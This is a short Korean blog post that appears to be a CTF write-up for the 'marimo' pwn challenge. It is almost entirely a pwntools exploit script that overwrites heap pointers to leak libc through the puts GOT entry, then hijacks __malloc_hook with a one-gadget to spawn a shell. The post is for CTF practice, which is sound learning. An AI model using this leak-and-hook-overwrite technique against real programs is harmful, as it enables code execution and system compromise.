728x90





자꾸 이상한 에러가 떠서 잘 안풀렸던 문제 ㅡ,ㅡ


간단하게 sleep을 중간 중간에 넣어줘서 풀 수 있었다.


메모리 안에 있는 포인터를 변조시켜서 쓱싹 해버릴 수 있는 문제이다!! 재밌다 ㅎㅎ



from pwn import *


s = process("./marimo")
elf = ELF("./marimo")
libc = ELF("./libc")

def hack(name,profile):
    s.recvuntil(">> ")
    s.sendline("show me the marimo")
    s.recvuntil("What's your new marimo's name? (0x10)")
    s.sendline(name)
    s.recvuntil(">> ")
    s.sendline(profile)
    

def view(num,content):
    s.sendline("V")
    s.recvuntil("Select number or [B]ack")
    s.sendline(str(num))
    s.recvuntil("[M]odify / [B]ack ?")
    s.sendline("M")
    s.recvuntil("Give me new profile")
    s.sendline(content)
    s.recvuntil("[M]odify / [B]ack ?")
    s.sendline("B")

gdb.attach(s)

hack("A"*8,"1"*8)
sleep(1)
hack("B"*8,"2"*8)
sleep(1)

pay = "K"*48
pay += p64(elf.got['puts'])*3
view(0,pay)

s.sendline("V")
s.sendline("1")
s.recvuntil("name : ")
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
one_shot = libc_base + 0xf02a4
print "libc_base : " + hex(libc_base)
print "one_shot : " + hex(one_shot)
system = libc_base + libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "system : " + hex(system)
print "malloc_hook : " + hex(malloc_hook)

sleep(0.5)
s.sendline("B")

pay = "K"*48
pay += p64(malloc_hook)*3
view(0,pay)
sleep(3)
view(1,p64(one_shot))

s.sendline("show me the marimo")

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[Asis 2016] b00ks  (0) 2019.02.06
[Codegate 2019] got-the-reum  (0) 2019.02.05
[mma_2016] greeting  (0) 2019.01.18
[PCTF 2015] prodmanager  (0) 2019.01.05
[DefCamp CTF 2016] Warm heap  (0) 2019.01.03